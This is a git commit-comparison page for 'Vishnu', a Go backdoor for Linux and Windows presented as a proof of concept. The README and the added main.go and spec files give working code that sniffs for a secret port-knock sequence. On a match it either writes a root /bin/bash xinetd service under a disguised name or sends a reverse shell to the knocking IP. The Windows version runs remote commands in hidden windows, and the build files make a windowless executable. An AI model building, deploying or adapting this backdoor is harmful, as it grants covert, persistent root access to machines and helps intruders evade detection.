Compare commits
13 Commits
dev
...
d590b2c3e5
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
d590b2c3e5 | ||
|
|
cf70ae4f5b | ||
|
|
948a3aa0ab | ||
|
|
7b27f6aa82 | ||
|
|
07c9b15d5a | ||
|
|
929ba6b3e3 | ||
|
|
60b471be38 | ||
|
|
0904512d63 | ||
|
|
f57170b4d6 | ||
|
|
229692efc6 | ||
|
|
b4906e4d9b | ||
|
|
85b1a39899 | ||
|
|
3c04f89e01 |
1
.gitignore
vendored
Normal file
1
.gitignore
vendored
Normal file
@@ -0,0 +1 @@
|
||||
bin
|
||||
25
Makefile
Normal file
25
Makefile
Normal file
@@ -0,0 +1,25 @@
|
||||
DIRECTORY=bin
|
||||
LINUX=linux-agent
|
||||
WIN=windows-agent.exe
|
||||
FLAGS=-ldflags "-s -w"
|
||||
WIN-FLAGS=-ldflags -H=windowsgui
|
||||
|
||||
all: clean create-directory agent-windows agent-linux agent-linux-static
|
||||
|
||||
create-directory:
|
||||
mkdir ${DIRECTORY}
|
||||
|
||||
agent-windows:
|
||||
echo "Compiling Windows binary"
|
||||
env GOOS=windows GOARCH=amd64 go build ${WIN-FLAGS} -o ${DIRECTORY}/${WIN} main.go
|
||||
|
||||
agent-linux:
|
||||
echo "Compiling Linux binary"
|
||||
env GOOS=linux GOARCH=amd64 go build ${FLAGS} -o ${DIRECTORY}/${LINUX} main.go
|
||||
|
||||
agent-linux-static:
|
||||
echo "Compiling static Linux binary"
|
||||
docker run --rm=true -itv $(PWD):/mnt alpine:3.7 /mnt/build_static.sh
|
||||
|
||||
clean:
|
||||
rm -rf ${DIRECTORY}
|
||||
57
README.md
57
README.md
@@ -1,50 +1,59 @@
|
||||
# Vishnu(The Hidden Backdoor)
|
||||
|
||||
Forked from: https://github.com/emmaunel/vishnu
|
||||
|
||||
###### RS{JOIN_REDTEAM}
|
||||
Taken from the Trimurit, the triple deity of supreme divinity. Vishnu is known as "The Preserver". This program is a proof of concept code to test the idea of port-knocking in golang.
|
||||
|
||||
Most backdoors usually have port listening and they can be easily be found by doing a port scan on the machine. This backdoor acts like as a packet sniffer, hence the need of libpcap, and looks for the `secret ports` you defined. When these ports are noticed, it creates a bind shell on a random port for you to connect to. To detect the random port, you can run nmap to find the new port.
|
||||
|
||||
* Note: This backdoor is not perfect, this was written in one night and again, it was a PoC :)
|
||||
|
||||
# Technical Details
|
||||
## Technical Details
|
||||
At the beginning of the file, there are some configurations that needs to be set. Like what interface you want to listen to and what type of filter you want.
|
||||
|
||||
With the use of `gopacket(link)` which is a wrapper around libpcap, the program is able to read every packets that comes through the specific network interface. With this PoC, it is looking for SYN packets(this can be changed to whatever), if it is not, the packets are ignored. If the packet is a SYN, it looks at the destination port.
|
||||
With the use of [gopacket](https://github.com/google/gopacket) which is a wrapper around libpcap, the program is able to read every packets that comes through the specific network interface. With this PoC, it is looking for SYN packets(this can be changed to whatever), if it is not, the packets are ignored. If the packet is a SYN, it looks at the destination port.
|
||||
|
||||
In order for the hidden port to be open, the sequence of destination ports have to match what's in the array. For example, if the secret ports are `80, 81, 82, 83`, you have to send SYN packets in exactly that way. `81, 80, 83, 82` would not work.
|
||||
|
||||
After the comparison is done and matches, a random port between 100 and 65535 will be open by using the program `inetd`. You can learn more about here(link). Basically, it's an easy way to listen for connection on certain ports and you can decide what user should run a service and what service you want to run. In my case, I use this `<port> stream tcp nowait root /bin/bash bash`. When connected on that port, you are presented with a root bash bind shell.
|
||||
After the comparison is done and matches, a random port between 100 and 65535 will be open by using the program `inetd`. You can learn more about [here](http://ibgwww.colorado.edu/~lessem/psyc5112/usail/network/services/inetd.html). Basically, it's an easy way to listen for connection on certain ports and you can decide what user should run a service and what service you want to run. In my case, I use this `<port> stream tcp nowait root /bin/bash bash`. When connected on that port, you are presented with a root bash bind shell.
|
||||
|
||||
# How to compile and Use
|
||||
targetInterface is the interface you want to be listening on. To be more district, you can also change the secretPorts to whatever you want.
|
||||
|
||||
```
|
||||
var (
|
||||
targetInterface = "ens160"
|
||||
secretPorts = []int{1, 2, 3, 4}
|
||||
)
|
||||
```
|
||||
### NOTE: This doesn't work well with VPN, you have to be on the same network
|
||||
|
||||
To compile, you need libpcap. On linux, you can install by running `sudo apt install libpcap-dev`. Then you can run `go build src/vishnu.go` to generate a binary.
|
||||
## How to compile and Use
|
||||
### Linux
|
||||
There is one static value that is needed in order for this to work properly on Linux. It is listed below:
|
||||
|
||||
- The string value being returned, found in `spec/spec_linux.go`, in the `GetAdapter()` function. It is set to return `"ens160"` by default. Modify this value as you see fit.
|
||||
|
||||
To compile, you need libpcap. On linux, you can install by running `sudo apt install libpcap-dev`.
|
||||
|
||||
For the port opening, make sure you have `inetd` installed. If you are not sure, run `apt install openbsd-inetd`.
|
||||
|
||||
## Connectback Shell
|
||||
Then you can use `make agent-linux` to generate the binary.
|
||||
### Windows
|
||||
In order for the binary to work correctly on Windows, `npcap / winpcap` needs to be installed. You can find it here: https://nmap.org/npcap/
|
||||
|
||||
You can optionally have the backdoor operate in connectback mode - where after successfully knocking a shell is sent back to the knocking IP on a predetermined port.
|
||||
Once this is done, run `make agent-windows` to create the executable.
|
||||
|
||||
### Customizations
|
||||
There are few other modifications that can be made in the targetInfo struct. Go to the `sInit` function in `main.go` and modify the values as you see fit listed below:
|
||||
- `secretPorts` : this int array holds the ports that will be used for knocking
|
||||
- `connectBack` : boolean value for linux for a bind or connectback shell
|
||||
- `connectBackPort` : if connectback is being used, this string value is the port that will be utilized.
|
||||
|
||||
### Connectback Shell Info
|
||||
|
||||
You can optionally have the backdoor operate in connectback mode - where after successfully knocking a shell is sent back to the knocking IP on a predetermined port.
|
||||
|
||||
Be careful doing this behind NAT as while knocking will work, the shell won't get back to you. You'll need to do port forwarding or listen for the shell on a public IP.
|
||||
|
||||
```
|
||||
const (
|
||||
connectback = true
|
||||
connectbackPort = "8080"
|
||||
)
|
||||
```
|
||||
For use on Windows, the connectback method is used.
|
||||
|
||||
# Potential future works
|
||||
* Design it to work for multiple operation systems(https://haydz.github.io/2020/07/06/Go-Windows-NIC.html )
|
||||
* Dynamic secret ports so they are predictable.
|
||||
## Potential future works
|
||||
* ~~Design it to work for multiple operation systems(https://haydz.github.io/2020/07/06/Go-Windows-NIC.html )~~
|
||||
* Dynamic secret ports so they are not predictable.
|
||||
|
||||
# Disclamers
|
||||
## Disclaimers
|
||||
The author is in no way responsible for any illegal use of this software. It is provided purely as an educational proof of concept. I am also not responsible for any damages or mishaps that may happen in the course of using this software. Use at your own risk.
|
||||
|
||||
17
build_static.sh
Executable file
17
build_static.sh
Executable file
@@ -0,0 +1,17 @@
|
||||
#!/bin/sh
|
||||
# many thanks to @negbie
|
||||
# https://github.com/google/gopacket/issues/424#issuecomment-369551841
|
||||
set -ex
|
||||
apk update
|
||||
apk add linux-headers musl-dev gcc go libpcap-dev ca-certificates git
|
||||
|
||||
mkdir /go
|
||||
export GOPATH=/go
|
||||
mkdir -p /go/src/github.com/emmaunel
|
||||
mkdir -p /mnt/out
|
||||
cp -a /mnt /go/src/github.com/emmaunel/vishnu
|
||||
cd /go/src/github.com/emmaunel/vishnu
|
||||
rm -f vishnu*
|
||||
go get -v ./ ./
|
||||
go build --ldflags '-linkmode external -extldflags "-static -s -w"' -v ./
|
||||
cp ./vishnu /mnt/out/
|
||||
4
go.mod
4
go.mod
@@ -1,7 +1,7 @@
|
||||
module vishnu/src
|
||||
module github.com/emmaunel/vishnu
|
||||
|
||||
go 1.17
|
||||
|
||||
require github.com/google/gopacket v1.1.19
|
||||
|
||||
require gitlab.com/NebulousLabs/go-upnp v0.0.0-20211002182029-11da932010b6 // indirect
|
||||
require golang.org/x/sys v0.0.0-20190412213103-97732733099d // indirect
|
||||
|
||||
17
go.sum
17
go.sum
@@ -1,33 +1,16 @@
|
||||
github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8=
|
||||
github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo=
|
||||
gitlab.com/NebulousLabs/fastrand v0.0.0-20181126182046-603482d69e40 h1:dizWJqTWjwyD8KGcMOwgrkqu1JIkofYgKkmDeNE7oAs=
|
||||
gitlab.com/NebulousLabs/fastrand v0.0.0-20181126182046-603482d69e40/go.mod h1:rOnSnoRyxMI3fe/7KIbVcsHRGxe30OONv8dEgo+vCfA=
|
||||
gitlab.com/NebulousLabs/go-upnp v0.0.0-20211002182029-11da932010b6 h1:WKij6HF8ECp9E7K0E44dew9NrRDGiNR5u4EFsXnJUx4=
|
||||
gitlab.com/NebulousLabs/go-upnp v0.0.0-20211002182029-11da932010b6/go.mod h1:vhrHTGDh4YR7wK8Z+kRJ+x8SF/6RUM3Vb64Si5FD0L8=
|
||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2 h1:It14KIkyBFYkHkwZ7k45minvA9aorojkyjGk9KJ5B/w=
|
||||
golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4=
|
||||
golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
|
||||
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
|
||||
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
||||
golang.org/x/net v0.0.0-20190620200207-3b0461eec859 h1:R/3boaszxrf1GEUWTVDzSKVwLmSJpwZ1yqXm8j0v2QI=
|
||||
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1 h1:4qWs8cYYH6PoEFy4dfhDFgoMGkwAcETd+MmPdCPMzUc=
|
||||
golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8=
|
||||
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190412213103-97732733099d h1:+R4KGOnez64A81RvjARKc4UT5/tI9ujCIVX+P5KiHuI=
|
||||
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44 h1:Bli41pIlzTzf3KEY06n+xnzK/BESIg2ze4Pgfh/aI8c=
|
||||
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.6 h1:aRYxNxv6iGQlyVaZmk6ZgYEDa+Jg18DxebPSrd6bg1M=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
|
||||
167
main.go
Normal file
167
main.go
Normal file
@@ -0,0 +1,167 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"log"
|
||||
"math/rand"
|
||||
"os"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"strconv"
|
||||
|
||||
"github.com/emmaunel/vishnu/spec"
|
||||
|
||||
"github.com/google/gopacket"
|
||||
"github.com/google/gopacket/layers"
|
||||
"github.com/google/gopacket/pcap"
|
||||
)
|
||||
|
||||
var serviceDefine = `service {{servicename}}
|
||||
{
|
||||
disable = no
|
||||
server = /bin/bash
|
||||
port = {{serviceport}}
|
||||
flags = IPv4
|
||||
user = root
|
||||
socket_type = stream
|
||||
protocol = tcp
|
||||
wait = no
|
||||
type = unlisted
|
||||
}`
|
||||
|
||||
type targetInfo struct {
|
||||
os string
|
||||
iFace string
|
||||
snaplen int32
|
||||
// vishnu uses tcp port knocking
|
||||
filter string
|
||||
// ports in order to port knock on
|
||||
secretPorts []int
|
||||
// how far into the sequence we are
|
||||
// when secretCounter == len(secretPorts),
|
||||
// port knocking is complete and shell is given
|
||||
secretCounter int
|
||||
lastPort layers.TCPPort
|
||||
connectback bool
|
||||
connectbackPort string
|
||||
}
|
||||
|
||||
// create target info struct
|
||||
func sInit(os string) *targetInfo {
|
||||
tInfo := targetInfo{}
|
||||
|
||||
tInfo.os = os
|
||||
tInfo.iFace = spec.GetAdapter()
|
||||
|
||||
tInfo.snaplen = int32(1600)
|
||||
tInfo.filter = "tcp"
|
||||
tInfo.secretPorts = []int{1, 2, 3, 4}
|
||||
tInfo.secretCounter = 0
|
||||
|
||||
// if true, connect back to knocking
|
||||
// IP on connectbackPort
|
||||
tInfo.connectback = false
|
||||
// only relevant if connectback is true
|
||||
tInfo.connectbackPort = "8080"
|
||||
|
||||
return &tInfo
|
||||
}
|
||||
|
||||
func main() {
|
||||
tInfo := sInit(runtime.GOOS)
|
||||
|
||||
// Read package and analze them
|
||||
handle, err := pcap.OpenLive(tInfo.iFace, tInfo.snaplen, true, pcap.BlockForever)
|
||||
errorPrinter(err)
|
||||
|
||||
handle.SetBPFFilter(tInfo.filter)
|
||||
packets := gopacket.NewPacketSource(handle, handle.LinkType()).Packets()
|
||||
for pkt := range packets {
|
||||
// Your analysis here! Get the important stuff
|
||||
printPacketInfo(pkt, tInfo)
|
||||
}
|
||||
}
|
||||
|
||||
func vishnu(ip string, tInfo *targetInfo) {
|
||||
if tInfo.connectback || tInfo.os == "windows" {
|
||||
spec.ConnectBack(ip, tInfo.connectbackPort)
|
||||
} else {
|
||||
randomPort := rand.Intn(65535-100) + 100
|
||||
// println("The doors are open on port ", strconv.Itoa(randomPort))
|
||||
// Append to a file /etc/inetd.conf
|
||||
fd, err := os.OpenFile("/etc/xinetd.d/xtimed", os.O_WRONLY|os.O_CREATE, 0600)
|
||||
errorPrinter(err)
|
||||
defer fd.Close()
|
||||
|
||||
xinetdServiceFile := strings.Replace(serviceDefine, "{{serviceport}}", strconv.Itoa(randomPort), 1)
|
||||
xinetdServiceFile = strings.Replace(xinetdServiceFile, "{{servicename}}", "xtimed", 1)
|
||||
if _, err = fd.WriteString(xinetdServiceFile); err != nil {
|
||||
log.Panicln(err)
|
||||
}
|
||||
|
||||
exec.Command("/usr/sbin/xinetd").Run()
|
||||
}
|
||||
}
|
||||
|
||||
func grabRemoteIP(packet gopacket.Packet) (string, error) {
|
||||
iplayer := packet.Layer(layers.LayerTypeIPv4)
|
||||
if iplayer == nil {
|
||||
return "", errors.New("Packet is not IPv4")
|
||||
}
|
||||
|
||||
ip, _ := iplayer.(*layers.IPv4)
|
||||
return ip.SrcIP.String(), nil
|
||||
}
|
||||
|
||||
func printPacketInfo(packet gopacket.Packet, tInfo *targetInfo) {
|
||||
// Let's see if the packet is TCP
|
||||
tcpLayer := packet.Layer(layers.LayerTypeTCP)
|
||||
if tcpLayer != nil {
|
||||
tcp, _ := tcpLayer.(*layers.TCP)
|
||||
|
||||
// Check the TCP Flag
|
||||
if tcp.SYN {
|
||||
// fmt.Printf("From port %d to %d\n", tcp.SrcPort, tcp.DstPort)
|
||||
// Check dst port for secret port
|
||||
tInfo.lastPort = tcp.DstPort
|
||||
|
||||
if tcp.DstPort == layers.TCPPort(tInfo.secretPorts[tInfo.secretCounter]) {
|
||||
tInfo.secretCounter++
|
||||
tInfo.lastPort = tcp.DstPort
|
||||
} else if tInfo.secretCounter != 0 && tInfo.lastPort == layers.TCPPort(tInfo.secretPorts[tInfo.secretCounter-1]) { // fixed TCP 2x duplication issue
|
||||
fmt.Println("duplicate tcp") // pass
|
||||
} else {
|
||||
// reset counter
|
||||
tInfo.secretCounter = 0
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if tInfo.secretCounter == len(tInfo.secretPorts) {
|
||||
tInfo.secretCounter = 0
|
||||
// grab IP address
|
||||
ip, err := grabRemoteIP(packet)
|
||||
// TODO maybe just listen if connectback is
|
||||
// on and we can't get the remote IP
|
||||
if tInfo.connectback && err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// open the gateway
|
||||
go vishnu(ip, tInfo)
|
||||
}
|
||||
|
||||
// Check for errors
|
||||
if err := packet.ErrorLayer(); err != nil {
|
||||
fmt.Println("Error decoding some part of the packet:", err)
|
||||
}
|
||||
}
|
||||
|
||||
func errorPrinter(err error) {
|
||||
if err != nil {
|
||||
log.Panicln(err)
|
||||
}
|
||||
}
|
||||
30
spec/spec_linux.go
Normal file
30
spec/spec_linux.go
Normal file
@@ -0,0 +1,30 @@
|
||||
package spec
|
||||
|
||||
import (
|
||||
"net"
|
||||
"os/exec"
|
||||
)
|
||||
|
||||
func GetAdapter() string {
|
||||
inetReturn := ""
|
||||
inetInterfaces, _ := net.Interfaces()
|
||||
if inetInterfaces[0].Name == "lo" { // Return second interface if first is loopback
|
||||
inetReturn = inetInterfaces[1].Name
|
||||
} else {
|
||||
inetReturn = inetInterfaces[0].Name
|
||||
}
|
||||
return inetReturn
|
||||
}
|
||||
|
||||
func ConnectBack(ip string, connectbackPort string) {
|
||||
addr := net.JoinHostPort(ip, connectbackPort)
|
||||
conn, err := net.Dial("tcp", addr)
|
||||
if err != nil {
|
||||
// TODO: figure out error handling
|
||||
return
|
||||
}
|
||||
cmd := exec.Command("/bin/sh")
|
||||
cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn
|
||||
cmd.Run()
|
||||
conn.Close()
|
||||
}
|
||||
49
spec/spec_windows_amd64.go
Normal file
49
spec/spec_windows_amd64.go
Normal file
@@ -0,0 +1,49 @@
|
||||
package spec
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"log"
|
||||
"net"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
func GetAdapter() string {
|
||||
var iface string
|
||||
output, err := exec.Command("cmd.exe", "/c", "getmac /fo csv /v | findstr Ethernet").Output() //getting ethernet description for pcap
|
||||
if err != nil {
|
||||
log.Panicln(err)
|
||||
}
|
||||
startIndex := strings.Index(string(output), "_{")
|
||||
finalIndex := strings.Index(string(output), "}")
|
||||
|
||||
temp := string(output)[startIndex+2 : finalIndex]
|
||||
iface = "\\Device\\NPF_{" + temp + "}"
|
||||
|
||||
return iface
|
||||
}
|
||||
|
||||
func ConnectBack(ip string, connectbackPort string) {
|
||||
// TODO make this a PTY shell instead
|
||||
addr := net.JoinHostPort(ip, connectbackPort)
|
||||
conn, err := net.Dial("tcp", addr)
|
||||
if err != nil {
|
||||
// TODO: figure out error handling
|
||||
return
|
||||
}
|
||||
r := bufio.NewReader(conn)
|
||||
for {
|
||||
order, err := r.ReadString('\n')
|
||||
if nil != err {
|
||||
conn.Close()
|
||||
return
|
||||
}
|
||||
|
||||
cmd := exec.Command("cmd", "/C", order)
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
out, _ := cmd.CombinedOutput()
|
||||
|
||||
conn.Write(out)
|
||||
}
|
||||
}
|
||||
140
src/vishnu.go
140
src/vishnu.go
@@ -1,140 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"log"
|
||||
"math/rand"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strconv"
|
||||
|
||||
"github.com/google/gopacket"
|
||||
"github.com/google/gopacket/layers"
|
||||
"github.com/google/gopacket/pcap"
|
||||
)
|
||||
|
||||
var (
|
||||
targetInterface = "ens160"
|
||||
snaplen = int32(1600)
|
||||
// vishnu uses tcp port knocking
|
||||
filter = "tcp"
|
||||
// ports in order to port knock on
|
||||
secretPorts = []int{1, 2, 3, 4}
|
||||
// how far into the sequence we are
|
||||
// when secretCounter == len(secretPorts),
|
||||
// port knocking is complete and shell is given
|
||||
secretCounter = 0
|
||||
)
|
||||
|
||||
const (
|
||||
// if true, connect back to knocking
|
||||
// IP on connectbackPort
|
||||
connectback = false
|
||||
// only relevant if connectback is true
|
||||
connectbackPort = "8080"
|
||||
)
|
||||
|
||||
func main() {
|
||||
// Read package and analze them
|
||||
handle, err := pcap.OpenLive(targetInterface, snaplen, true, pcap.BlockForever)
|
||||
errorPrinter(err)
|
||||
|
||||
handle.SetBPFFilter(filter)
|
||||
packets := gopacket.NewPacketSource(handle, handle.LinkType()).Packets()
|
||||
for pkt := range packets {
|
||||
// Your analysis here! Get the important stuff
|
||||
printPacketInfo(pkt)
|
||||
}
|
||||
}
|
||||
|
||||
func errorPrinter(err error) {
|
||||
if err != nil {
|
||||
log.Panicln(err)
|
||||
}
|
||||
}
|
||||
|
||||
func grabRemoteIP(packet gopacket.Packet) (string, error) {
|
||||
iplayer := packet.Layer(layers.LayerTypeIPv4)
|
||||
if iplayer == nil {
|
||||
return "", errors.New("Packet is not IPv4")
|
||||
}
|
||||
|
||||
ip, _ := iplayer.(*layers.IPv4)
|
||||
return ip.SrcIP.String(), nil
|
||||
}
|
||||
|
||||
func printPacketInfo(packet gopacket.Packet) {
|
||||
|
||||
// Let's see if the packet is TCP
|
||||
tcpLayer := packet.Layer(layers.LayerTypeTCP)
|
||||
if tcpLayer != nil {
|
||||
tcp, _ := tcpLayer.(*layers.TCP)
|
||||
|
||||
// Check the TCP Flag
|
||||
if tcp.SYN {
|
||||
// fmt.Printf("From port %d to %d\n", tcp.SrcPort, tcp.DstPort)
|
||||
// Check dst port for secret port
|
||||
if tcp.DstPort == layers.TCPPort(secretPorts[secretCounter]) {
|
||||
secretCounter++
|
||||
} else {
|
||||
// reset counter
|
||||
secretCounter = 0
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if secretCounter == len(secretPorts) {
|
||||
secretCounter = 0
|
||||
// grab IP address
|
||||
ip, err := grabRemoteIP(packet)
|
||||
// TODO maybe just listen if connectback is
|
||||
// on and we can't get the remote IP
|
||||
if connectback && err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// open the gateway
|
||||
go vishnu(ip)
|
||||
}
|
||||
|
||||
// Check for errors
|
||||
if err := packet.ErrorLayer(); err != nil {
|
||||
fmt.Println("Error decoding some part of the packet:", err)
|
||||
}
|
||||
}
|
||||
|
||||
func connectBack(ip string) {
|
||||
// TODO make this a PTY shell instead
|
||||
addr := net.JoinHostPort(ip, connectbackPort)
|
||||
conn, err := net.Dial("tcp", addr)
|
||||
if err != nil {
|
||||
// TODO: figure out error handling
|
||||
return
|
||||
}
|
||||
|
||||
cmd := exec.Command("/bin/sh")
|
||||
cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn
|
||||
cmd.Run()
|
||||
conn.Close()
|
||||
}
|
||||
|
||||
func vishnu(ip string) {
|
||||
if connectback {
|
||||
connectBack(ip)
|
||||
}
|
||||
randomPort := rand.Intn(65535-100) + 100
|
||||
// println("The doors are open on port ", strconv.Itoa(randomPort))
|
||||
// Append to a file /etc/inetd.conf
|
||||
fd, err := os.OpenFile("/etc/inetd.conf", os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0600)
|
||||
errorPrinter(err)
|
||||
defer fd.Close()
|
||||
|
||||
if _, err = fd.WriteString(strconv.Itoa(randomPort) + " stream tcp nowait root /bin/bash bash\n"); err != nil {
|
||||
log.Panicln(err)
|
||||
}
|
||||
|
||||
exec.Command("/usr/sbin/inetd").Run()
|
||||
|
||||
}
|
||||
Reference in New Issue
Block a user